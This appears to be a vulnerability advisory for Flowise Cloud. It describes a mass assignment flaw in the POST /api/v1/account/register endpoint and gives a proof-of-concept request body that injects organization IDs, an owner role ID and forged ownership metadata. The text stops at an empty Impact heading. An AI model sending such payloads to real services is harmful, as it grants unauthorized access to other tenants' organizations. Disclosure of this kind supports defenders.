Flowise: Improper Mass Assignment in Account Registration Enables Unauthorized Organization Association

Summary

An improper mass assignment (JSON injection) vulnerability in the account registration endpoint of Flowise Cloud allows unauthenticated attackers to inject server-managed fields and nested objects during account creation. This enables client-controlled manipulation of ownership metadata, timestamps, organization association, and role mappings, breaking trust boundaries in a multi-tenant environment.

Details

The POST /api/v1/account/register endpoint is intended to accept a minimal payload to create a new user account (e.g., name, email, password). However, the backend fails to enforce a strict allowlist or DTO-based validation and instead blindly maps client-supplied JSON to internal domain models.

As a result, attackers can include additional nested objects and server-managed fields in the request body such as organization, organizationUser, workspace, workspaceUser, and metadata fields like createdBy, updatedBy, createdDate, and updatedDate. These fields are persisted as provided by the client rather than being generated or validated server-side.

This behavior demonstrates a trust boundary violation where authorization and ownership decisions that must be enforced by the server are effectively delegated to untrusted client input. In a multi-tenant SaaS context, this can lead to unauthorized organization association and role assignment during registration.

PoC

Send a standard registration request:

POST /api/v1/account/register HTTP/2
Host: cloud.flowiseai.com
Content-Type: application/json

{
  "user": {
    "name": "Test User",
    "email": "[email protected]",
    "credential": "StrongPassword123!"
  }
}

Observe the 201 Created response returning a newly created user and related objects (organization, workspace, roles).

Send a modified registration request that injects additional server-managed fields and nested objects:

POST /api/v1/account/register HTTP/2 Host: cloud.flowiseai.com Content-Type: application/json

{
  "user": {
    "name": "Injected User",
    "email": "[email protected]",
    "credential": "StrongPassword123!",
    "createdBy": "<arbitrary-uuid>",
    "updatedBy": "<arbitrary-uuid>",
    "createdDate": "1999-12-27T13:10:47.666Z",
    "updatedDate": "1999-12-27T13:10:47.666Z"
  },
  "organization": {
    "id": "<existing-organization-uuid>",
    "name": "Injected Organization"
  },
  "organizationUser": {
    "organizationId": "<existing-organization-uuid>",
    "roleId": "<owner-role-uuid>"
  }
}

Observe that the server responds with 201 Created and persists the injected fields, reflecting client-controlled values for ownership metadata, timestamps, and organization association.

Impact